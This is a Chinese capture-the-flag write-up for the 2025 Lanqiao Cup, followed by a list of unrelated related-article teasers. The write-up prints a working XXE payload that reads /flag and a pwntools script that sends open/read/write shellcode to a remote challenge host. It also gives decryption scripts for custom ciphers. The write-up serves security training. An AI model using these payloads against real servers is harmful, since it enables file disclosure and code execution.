2025蓝桥杯WP
引言
在2025年蓝桥杯网络安全赛道中,我们面对涵盖Web安全、逆向工程、PWN、取证分析以及加密解密等多领域的挑战,要求选手具备扎实且全面的安全技术与实战能力。本文将以实战记录的形式,逐题详细还原解题思路与操作步骤,并配以相应的脚本与EXP,便于后续复现与总结。通过此次挑战,不仅加深了我们对多种安全技术的理解,也锻炼了快速定位漏洞与高效利用漏洞的实战水平。
黑客密室逃脱
操作内容
跟着目录访问可以发现加密字符串
Bp爆破name参数发现了templates文件,发现里面有app.py文件
读取app.py文件,发现加密文件
app.py文件里面有hidden.txt里面有密钥
逆向加密代码获得flag
exp
# 原始加密后的十六进制字符串
encrypted_sensitive_info = "d9d1c4d9e0abc19bcbab94986d62a8ca97d492a88fce9aa694687097a09e97d499a4969b9adb99979db2"# 转换成字节数组
encrypted = bytearray(int(encrypted_sensitive_info[i:i + 2], 16) for i in range(0, len(encrypted_sensitive_info), 2))# 打印十六进制数组形式
print("[*] Encrypted Hex:", list(encrypted))# 加密使用的 key
encryption_key = "secret_key3495"# 解密并输出明文
print("[*] Decrypted:")
for i in range(len(encrypted)):key_char = encryption_key[i % len(encryption_key)]decrypted_byte = encrypted[i] - ord(key_char)# 防止溢出负值,可视情况使用 & 0xFF 或抛弃错误字符decrypted_char = chr(decrypted_byte & 0xFF)print(decrypted_char, end="")print()
总结
本题通过目录结构的探索发现了隐藏的加密字符串,进一步利用参数爆破找到了隐藏的文件路径和加密脚本。通过对app.py中的加密逻辑逆向分析,结合hidden.txt中获取的密钥,成功完成了对加密字符串的解密。整个过程中,重点考察了对Web目录结构的敏感度、参数爆破技巧以及Python逆向分析能力。
flowzip
操作内容
wireshark打开,直接搜flag
发现flag明文
总结
本题通过Wireshark抓包工具直接搜索关键字“flag”,快速定位到明文内容。整体流程简洁高效,考察了对抓包分析工具的熟练使用和基本字符串搜索能力。类似题目也可用strings等工具快速提取,有助于提升对数据包内容的快速定位和分析能力。
ezEvtx
操作内容
用windows虚拟机打开日志文件
筛选警告日志
发现敏感文件
总结
该题考察了对Windows事件日志的基本操作与筛选技巧。掌握evtx文件的打开和筛选,是进行Windows取证分析的基础技能。利用系统日志中隐藏的异常信息,有助于快速锁定目标和敏感数据。
Enigma
操作内容
用CyberChef打开文件,指定参数直接获得flag
总结
本题考察对CyberChef工具的熟练使用能力。熟悉该工具能够快速尝试多种解码手段,有效提升解题效率,是日常CTF与安全分析中的实用技能。
星际XML解析器
操作内容
利用XML注入就能获得flag
exp
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///flag" >]><foo>&xxe;</foo>
总结
本题利用了经典的XML外部实体注入(XXE)漏洞,通过构造恶意的DTD定义,读取服务器本地的敏感文件(如/flag),从而直接获取flag。此类漏洞常见于对XML解析时未关闭外部实体处理的场景,属于典型的服务端文件读取漏洞。
RuneBreach
操作内容
输入4个N,进入这里
进入这里执行shellcode:
exp
from pwn import *context(os='linux', arch='amd64', log_level='debug')
# context.terminal = ['tmux', 'splitw', '-h']def debug():gdb.attach(p)# =================== 连接目标 ===================
choose = 1
if choose == 1: # 远程success("远程")p = remote("39.106.18.186", 30899)# libc = ELF("./libc.so.6") # 可选:如需做libc泄露
else: # 本地success("本地")p = process("/home/kali/Desktop/haha/ctf/lqb/pwn/chall")libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')# debug()pause()# =================== 功能函数 ===================def add(size, index):p.sendlineafter(b'>', b'1')p.sendlineafter(b':', str(index).encode())p.sendlineafter(b':', str(size).encode())def free(index):p.sendlineafter(b'>', b'2')p.sendlineafter(b':', str(index).encode())def edit(index, content):p.sendlineafter(b'>', b'3')p.sendlineafter(b':', str(index).encode())p.sendafter(b':', content)def show(index):p.sendlineafter(b'>', b'4')p.sendlineafter(b':', str(index).encode())# =================== 主要逻辑 ===================# 初始化交互
for _ in range(4):p.sendlineafter(b"):", b"N")# 泄露栈地址
p.recvuntil(b"now ")
stack = eval((p.recv(14)).decode())
print("Leaked stack address:", hex(stack))# 构造 shellcode
payload = asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3, stack + 0x100, 0x40))
payload += asm(shellcraft.write(1, stack + 0x100, 0x40))# 发送 shellcode
p.send(payload)# =================== 保持交互 ===================
p.interactive()
总结
本题通过输入特定指令进入shellcode执行环境,并泄露了栈地址。利用该地址构造shellcode,调用系统调用读取并输出远程服务器的/flag
文件。题目考察了shellcode编写和远程执行能力,结合pwntools实现自动化攻击。
ShadowPhases
操作内容
Ida在这里打断点取flag:
BashBreaker
操作内容
ida修改rip强行调用full_decrypt
运行拿到key:
rc4_init函数有多一个异或:
rc4_next后多了一个置换:
exp
def rc4(key, ciphertext):# 初始化 S 盒sbox = list(range(256))j = 0for i in range(256):j = (j + sbox[i] + (key[i % len(key)] ^ 0x37)) % 256sbox[i], sbox[j] = sbox[j], sbox[i]# 生成密钥流i = j = 0keystream = []for _ in ciphertext:i = (i + 1) % 256j = (j + sbox[i]) % 256sbox[i], sbox[j] = sbox[j], sbox[i]k = sbox[(sbox[i] + sbox[j]) % 256]k = ((k >> 4) | (k << 4)) & 0xFF # 左右半字节互换后保留低 8 位keystream.append(k)print("keystream:", keystream)# 解密plaintext = bytearray()for i in range(len(ciphertext)):plaintext.append(ciphertext[i] ^ keystream[i])# 尝试解码成字符串(latin-1 避免乱码)try:decoded = plaintext.decode("latin-1")except UnicodeDecodeError:decoded = plaintext.hex()print("Decrypted text:", decoded)return decodedkey = bytes.fromhex("EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD")res = bytes([0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48,0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75, 0x8C, 0x89, 0xCD, 0xDD,0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43,0xE1, 0xD2, 0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02,0x39, 0x18
])rc4(key, res)
总结
本题通过IDA修改指令,强制调用解密函数获得密钥。分析发现该算法为变形RC4,初始状态和密钥流生成时都加入了额外异或和置换操作。通过复现这一逻辑实现解密,成功还原明文。此题考察了逆向分析能力和对经典加密算法变体的理解。
相关文章:

2025蓝桥杯WP
引言 在2025年蓝桥杯网络安全赛道中,我们面对涵盖Web安全、逆向工程、PWN、取证分析以及加密解密等多领域的挑战,要求选手具备扎实且全面的安全技术与实战能力。本文将以实战记录的形式,逐题详细还原解题思路与操作步骤,并配以相…...

数字人教师:开启教育智慧革新之旅
在科技浪潮的推动下,教育领域正经历一场由数字人教师引领的深刻变革,这不仅是技术与教育融合的创新实践,更是教育模式重塑的关键路径。 一、数字人教师的崛起:教育变革的必然选择 随着互联网、大数据、人工智能等前沿技术的飞速…...
Linux中Java开发、部署和运维常用命令
在Java开发、部署和运维过程中,Linux操作系统常用的一些命令可以帮助开发人员、运维人员管理系统、查看日志、控制进程等。以下是一些常见的Linux命令: 1. 文件和目录操作 ls:列出当前目录下的文件和文件夹。 ls -l:显示详细信息…...

详解srs流媒体服务器的集群
前言: 什么是集群 集群就是多台计算机或服务器等资源,联在一起像一台大机器一样工作。比如一群蚂蚁一起搬东西,这些蚂蚁就类似集群里的各个部分。 为什么要集群 性能更强:能把任务分到多个机器上做,一起处理更快&…...

ubuntu22.04 安装 SecureCRT8.7.3
用到的全部软件,都放在这个网盘里面了,自取。 链接: https://pan.baidu.com/s/1AR6Lj8FS7bokMR5IrLmsIw?pwd3dzv 提取码: 3dzv 如果链接失效了,关注公号:每日早参,回复:资源,即可免费获取&…...
Day 37
继续之前的学习 过拟合的判断 import torch import torch.nn as nn import torch.optim as optim from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split from sklearn.preprocessing import MinMaxScaler import time import matpl…...

libvirt设置虚拟机mtu实现原理
背景 云计算场景下,可以动态调整虚拟机mtu,提高虚拟机网络性能。设置虚拟机(VM)virtio网卡的MTU(Maximum Transmission Unit)涉及 宿主机(Host)、QEMU/KVM、vhost-net后端 和 虚拟机内部的virtio驱动之间的协作。 原理分析 1.libvirt设置mtu分析 libv…...

AstroNex空间任务智能控制研究与训练数据集
数据集概述 AstroNex空间任务智能控制研究与训练数据集是朗迪锋科技基于Multiverse平台精心打造的首个全面覆盖航天器智能控制全周期的综合数据集产品。该数据集汇集了轨道动力学、姿态控制、机器视觉、环境感知等多维度数据,为航天器智能算法研发提供丰富的训练与…...

汽车副水箱液位传感器介绍
汽车副水箱液位传感器是现代车辆冷却系统中不可或缺的关键部件,其核心功能在于实时监测冷却液存量,确保发动机在最佳温度范围内稳定运行。随着汽车电子化程度不断提升,这一看似简单的传感器已发展成为集机械、电子、材料技术于一体的精密装置,其工作原理与技术演进值得深入…...
Docker+MobaXterm+x11实现容器UI界面转发本地
本文记录了搭建一个可直接ssh访问的container,并可通过x11转发界面的实现过程 0.1 实验环境 PC:windows 11 Server:Ubuntu 18.04 Docker image:Ubuntu 18.04 1. 获取Ubuntu 18.04的镜像 使用Dockerfile获取镜像,对…...

IEEE出版|2025年智能制造、机器人与自动化国际学术会议 (IMRA2025)
【重要信息】 会议官网:www.icimra.com 会议时间: 2025年11月14日-16日 会议地点: 中国湛江 截稿日期:2025年09月16日(一轮截稿) 接收或拒收通知:文章投递后5-7个工作日 会议提交检索:EI Compendex, Scopus IEEE出版|2025年…...

EasyRTC嵌入式SDK音视频实时通话助力WebRTC技术与智能硬件协同发展
一、概述 在万物互联的数字化浪潮下,智能硬件已广泛渗透生活与工业领域,实时音视频通信成为智能硬件实现高效交互的核心需求。WebRTC作为开源实时通信技术,为浏览器与移动应用提供免插件的音视频通信能力,而EasyRTC通过深度优化音…...

Higress MCP Server 安全再升级:API 认证为 AI 连接保驾护航
Higress MCP Server 安全再升级:API 认证为 AI 连接保驾护航 Higress 作为一款强大的 AI 原生 API 网关,致力于铺设 AI 与现实世界之间最短、最安全、最具成本效益的连接路径。其核心能力之一便是支持将现有的 OpenAPI 规范无缝转换为 MCP Server&#…...
多个vue2工程共享node_modules
手头有多个vue2项目,它们每个都需要一个node_modules,拷贝起来超级麻烦。于是想到能否共享一个node_modules呢?? 方法其实挺多,我选择了一个较简单的:符号连接法(win11平台) 创建方法很简单:比…...
蓝桥杯178 全球变暖
题目描述 你有一张某海域 NxN 像素的照片,"."表示海洋、"#"表示陆地,如下所示: ....... .##.... .##.... ....##. ..####. ...###. ....... 其中"上下左右"四个方向上连在一起的一片陆地组成一座岛屿。例如上…...

多模态理解大模型高性能优化丨前沿多模态模型开发与应用实战第七期
一、引言 在前序课程中,我们系统剖析了多模态理解大模型(Qwen2.5-VL、DeepSeek-VL2)的架构设计。鉴于此类模型训练需消耗千卡级算力与TB级数据,实际应用中绝大多数的用户场景均围绕推理部署展开,模型推理的效率影响着…...
mysql 合集
mysql 日志主要分为三个日志:redo log、binlog、undo log; redo log 主要是用来mysql 奔溃恢复 redo log 主要是有一个机制是 设置刷盘机制: 通过innodb_flush_log_at_trx_commit控制刷盘策略: 1:每次事务提交都刷盘(…...
Zustand V5教程:Vanilla Store 与 useStore 使用详解 + 实战 Demo
Zustand 是一个轻量、灵活的状态管理库。自从 Zustand v4 推出 Vanilla Store 后,我们可以更优雅地在组件外(如 API 拦截器、工具函数)访问状态,同时在组件内继续享受响应式的状态订阅。 本教程将通过一个“登录状态管理”示例&a…...
docker 搭建php 开发环境 添加扩展redis、swoole、xdebug(1)
docker-compose搭建lnmp 先决条件 首先需要安装docker 安装docker-compost 1、创建lnmp工作目录 #创建三个目录 mkdir lnmp && cd lnmp mkdir -p nginx/conf php mysql/data lnmp/www#编写nginx 配置文件 nginx/conf/default.conf vim nginx/conf/default.confserv…...

人脸识别技术合规备案最新政策详解
《人脸识别技术应用安全管理办法》将于2025年6月1日正式实施,该办法从技术应用、个人信息保护、技术替代、监管体系四方面构建了人脸识别技术的治理框架,旨在平衡技术发展与安全风险。 一、明确技术应用的边界 公共场所使用限制:仅在“维护公…...
(16)高性能风控系统设计
文章目录 🚀 高性能风控系统设计:千万级QPS实时风控解决方案TL;DR🏗️ 系统整体架构💻 Java技术栈选型详解1️⃣ 接入层技术选型🔥 接入层代码示例 2️⃣ 规则引擎层技术选型🧠 规则引擎优化技巧 3️⃣ 数据…...

AStar低代码平台-脚本调用C#方法
修改报工表表单,右键定义弹出菜单,新增一个菜单项,并在点击事件脚本中编写调用脚本。 编译脚本,然后在模块代码里面定义这个方法: public async Task<int> on_call_import(DataRow curRow) {PrintDataRow(cur…...

企业级RAG技术实战指南:从理论到落地的全景解析
前言 在大模型技术日新月异的今天,检索增强生成(RAG)技术正成为企业突破AI应用瓶颈的关键利器。当传统AI系统还在处理结构化数据的泥潭中挣扎时,RAG技术已经打开了通向非结构化知识海洋的大门。这本《RAG技术实战指南》以独特的工…...
getline()跳过输入
std::getline(cin, s) 第一个参数传递的是输入流:istream(输入流的基类), ifstream, istrstream 的引用; 第二个参数传递的是本地字符串引用,即从输入流读出来的东西要存放的位置。 会跳过getline()的输入 cin >> ch; getline(cin, s…...

【八股战神篇】RabbitMQ高频面试题
简述RabbitMQ五种模式 ? 延伸 请介绍一下RabbitMQ的特点 延伸 简述RabbitMQ的发布与订阅模式 延伸 RabbitMQ 如何保证消息不丢失? 延伸 RabbitMQ 如何保证消息有序? 延伸 专栏简介 八股战神篇专栏是基于各平台共上千篇面经…...

高阶数据结构——红黑树实现
目录 1.红黑树的概念 1.1 红黑树的规则: 1.2 红黑树的效率 2.红黑树的实现 2.1 红黑树的结构 2.2 红黑树的插入 2.2.1 不旋转只变色(无论c是p的左还是右,p是g的左还是右,都是一样的变色处理方式) 2.2.2 单旋变色…...
互联网大厂Java求职面试:AI与大模型应用集成中的架构难题与解决方案
互联网大厂Java求职面试:AI与大模型应用集成中的架构难题与解决方案 面试场景:AI与大模型应用集成的架构设计 面试官:技术总监 候选人:郑薪苦(搞笑但有技术潜力的程序员) 第一轮提问:系统架…...

安卓学习笔记-声明式UI
声明式UI Jetpack Compose 是 Google 推出的用于构建 Android UI 的现代化工具包。它采用 声明式编程模型(Declarative UI),用 Kotlin 编写,用于替代传统的 XML View 的方式。一句话概括:Jetpack Compose 用 Kotlin…...

AI天气预报进入“大模型时代“:如何用Transformer重构地球大气模拟?
引言:从数值预报到AI大模型的范式变革 传统的天气预报依赖于数值天气预报(NWP, Numerical Weather Prediction),通过求解大气动力学方程(如Navier-Stokes方程)进行物理模拟。然而,NWP计算成本极高,依赖超级计算机,且难以处理小尺度天气现象(如短时强降水)。 近年来…...
本地项目如何设置https(2)——2025-05-19
在配置本地HTTPS时,安装mkcert工具本身是全局操作(安装在系统环境,与项目无关),但生成证书时需要进入项目目录操作。以下是具体说明: 安装 mkcert(全局操作) 安装位置:无…...